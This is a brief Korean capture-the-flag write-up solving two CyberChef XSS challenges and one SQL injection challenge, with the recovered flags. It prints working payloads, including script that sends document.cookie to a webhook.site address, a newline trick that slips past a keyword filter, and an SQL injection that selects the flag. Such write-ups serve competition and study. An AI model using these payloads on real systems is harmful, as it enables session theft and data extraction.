유용한 툴인 Cyberchef를 이용한 문제였다. 처음에는 F12 나오면 풀수 있는 CyberChef Challenge 푸는것 인줄 알고 쌩 삽질을 하루종일 하다가, Cyberchef Github의 https://github.com/gchq/CyberChef/issues/1265를 확인하고 버전 확인 후에 webhooking을 이용하여 솔빙하였다.
payload : <http://cyberchef:8000/#recipe=Scatter_chart('Line%20feed','Space',false,'','','red%22%3E%3Cscript%3Elocation.href%3d%22https://webhook.site/afe05df7-3f90-42a1-9a04-0289ca004e5e?%22%2Bdocument.cookie%3C/script%3E',100,false)&input=MTAwLCAxMDA>
#hsctf{fa98fe3d32b4302aff1c322c925238a9d935b636f265cbfdd798391ca9c5a905}
Cyberchef 문제와 같은 문제인데 revenge 문제이다. 다른점은 bot page에 “chart”를 필터링 해주는점이 다르다.
이를 bypass 하기 위해 payload의 “chart” 부분에 %0a 를 추가해주고 위와 동일한 방식으로 report 해 주면 풀 수 있었다.
payload : <http://cyberchef:8000/#recipe=Scatter_c%0ahart('Line%20feed','Space',false,'','','red%22%3E%3Cscript%3Elocation.href%3d%22https://webhook.site/afe05df7-3f90-42a1-9a04-0289ca004e5e?%22%2Bdocument.cookie%3C/script%3E',100,false)&input=MTAwLCAxMDA>
#hsctf{be9e5b8bce203e203597dca3d67e0f7a38e359a9ab7799988e888be073c78da0}
utils.js의 formatQuery에서 취약점이 발생한다.
payload : title=?&content=||'hye0ngseok',(select flag from flag),'hye0ngseok')-- -
#hsctf{038d083216a920c589917b898ff41fd9611956b711035b30766ffaf2ae7f75f2}